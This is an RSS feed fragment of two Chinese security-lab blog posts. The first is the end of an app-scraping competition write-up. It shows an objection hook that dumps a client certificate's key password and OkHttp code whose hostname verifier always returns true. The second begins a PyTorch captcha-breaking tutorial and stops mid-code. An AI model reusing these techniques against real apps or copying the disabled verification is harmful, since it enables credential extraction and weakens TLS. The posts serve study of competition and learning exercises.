inherit;padding: 0px;margin: 1.5em 0px;">通过抓包，可以看到URL也变化了：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.5774647887323944" title="图27" data-w="1136" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=4d8644e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdiazDzZmfMvPrK3lPgc87dWSdibla3D6rZPcHic5b1mRC6ET0fph19nqRw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图27</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">通过hook查看一下key的值：   <br/><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">android hooking watch class_method javax.net.ssl.KeyManagerFactory.init --dump-args</code>    </p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.49390243902439024" title="图28" data-w="1312" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9de07d35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdjib58vfEgafXrk0lloOKUmN1HJ5Udib5crGEM0OcKqar2ozIIJPstiasA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图28</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">发送请求的代码：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">static</span> String <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">appmatch05</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(String url, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> page)</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throws</span> IOException </span>{  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span>        String result = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>;  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span>        InputStream[] insCerArry = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InputStream[]{};  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span>        InputStream insJksDir = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> FileInputStream(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;file/cer/clientCA.bks&#34;</span>);  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>        HttpsUtils.SSLParams sslParams = HttpsUtils.getSslSocketFactory(insCerArry, insJksDir, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;MZ4cozY8Qu32UzGe&#34;</span>);  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span>        OkHttpClient okHttpClient = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> OkHttpClient.Builder()<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>                .hostnameVerifier(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> HostnameVerifier()  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span>                {  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span>                    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(91, 218, 237);word-wrap: inherit !important;word-break: inherit !important;">@Override</span>  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span>                    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">boolean</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">verify</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(String hostname, SSLSession session)</span>  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span>                    </span>{  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span>                        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">true</span>;  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span>                    }  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span>                })  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span>                .sslSocketFactory(sslParams.sSLSocketFactory, sslParams.trustManager)  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">20</span>                .build();  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">21</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">22</span>        RequestBody formBody = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> FormBody.Builder()  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">23</span>                .add(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;page&#34;</span>, page + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;&#34;</span>)  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">24</span>                .build(); <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// 表单键值对  </span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">25</span>        Request request = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Request.Builder().url(url).post(formBody).build(); <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// 请求  </span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">26</span>        Response response = okHttpClient.newCall(request).execute();  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">27</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">28</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> (response.isSuccessful()) {  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">29</span>            result = response.body().string();  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">30</span>        }  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">31</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> result;  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">32</span>    }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">HttpsUtils网上搜索一个抄下来就可以用了。请求第一页数据：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.10134128166915052" title="图29" data-w="2684" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=dd5694e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdJdUcNNHNewsNqgbBp09faeNIWZO7pKuJtCXlABUkwuB4DUF6RsgISg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图29</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">需要注意使用的java版本，使用jdk1.8.0_111时，就会爆出下面的错误：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img data-ratio="0.3243847874720358" title="图30" data-w="1788" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=2adf3029&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVDvMu5bO23hkvFrvZ5LjZdULt2QibEkESGMNrscovOxzxWw3ApT0dGBIZ9rtmg90iatJne4WDvLLVg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图30</figcaption></figure><br/>当时比赛的时候用的jdk1.8.0_111，一直报错，导致找了好多关于双向证书的代码都不行，在比赛结束后，换了jdk版本同样的代码，立即就好了。<p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><br/></p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x03总结</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">本文主要是通过一次APP爬虫的比赛，一方面提供了对于Android 7 及以上系统抓包的一种思路，二是unidbg的初级使用，还有就是双向证书的问题。对于其他grpc、quic、tls等，还需要更深入的学习。另外还要感谢王老板提供这次学习的机会。</p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x04参考</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">[1]unidbg:<a href="https://github.com/zhkl0228/unidbg" target="_blank">https://github.com/zhkl0228/unidbg</a>    <br/>[2]objection:<a href="https://github.com/sensepost/objection/wiki/Patching-Android-Applications" target="_blank">https://github.com/sensepost/objection/wiki/Patching-Android-Applications</a>    <br/>[3]比赛地址:<a href="http://appmatch.yuanrenxue.com/" target="_blank">http://appmatch.yuanrenxue.com/</a></p></section><p><br/></p>



<p><a href="2247486245">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b43a72ec&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486245%26idx%3D1%26sn%3Ddf2a80d7a9a1af682bd56c23eaec95be%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 07 Jul 2022 08:30:00 +0800</pubDate>
    </item>
    <item>
      <title>记一次简单计算验证码的识别过程</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486047&amp;idx=1&amp;sn=fbbdcea5957b3d7dd531f7c94a90d522</link>
      <description>使用pytorch识别计算验证码</description>
      <content:encoded><![CDATA[<p>
原创 <span>猎户实验室</span> <span>2022-02-28 08:08</span> <span style="display: inline-block;"></span>
</p>

<p>使用pytorch识别计算验证码</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9169f77b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MXho4pYvlTOtm3KozU01wNVEq9hhmYMyhX0v2VPRJbWRujsvaDku3wHtAJ4LBKjFmZpib3XiaPX8MeQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 16px;color: rgb(62, 62, 62);line-height: 1.6;letter-spacing: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">某CMS的验证码是简单的计算验证码，都是一位数的加减乘除运算，之前尝试用分割的方法识别，但成功率较低。后来采用了pytorch训练后进行识别，可以达到98%以上的识别率，于是整理一下过程，水一篇文章。</p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x01  验证码的获取</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">首先是验证码的获取，由于爬取验证码还要手工标注，比较麻烦，这里可以通过修改程序来批量生成标注好的样本。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">主要代码如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">import</span> com.google.code.kaptcha.Producer;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">class</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">GenCalculateCaptcha</span> </span>{<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">static</span> <span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">main</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(String[] args)</span> </span>{<br/>        Producer kaptcha = <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> CaptchaConfig().getKaptchaBeanMath();<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> i=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>;i&lt;<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">100</span>;i++){<br/>            String capText = kaptcha.createText();<br/>            String capStr = capText.substring(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>, capText.lastIndexOf(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;@&#34;</span>));<br/>            System.out.println(capStr);<br/>        }<br/>    }<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">执行结果：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">6</span>-<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>=?<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">9</span>+<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>=?<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>+<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">5</span>=?<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">8</span>*<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">6</span>=?<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">6</span>/<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>=?<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">5</span>+<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">7</span>=?<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">9</span>+<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>=?<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>/<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">5</span>=?<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>*<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>=?<br/><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">...</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">通过执行的结果可以发现，生成的验证码中会出现<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">*</code>、<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/</code>、<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">?</code>等字符，这些字符在作为文件名时不合法，所以需要进行替换。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">例如将除号<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/</code>替换为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">÷</code>，乘号<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">*</code>替换为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">×</code>，问号<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">?</code>替换为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">？</code>。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">同时为了避免生成的验证码重复，生成的文件名拼接了时间戳的md5，并用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">_</code>连接。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">替换的代码如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">String newCapStr = capStr.replace(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;/&#34;</span>,<span style="font-size: inherit;line-height: 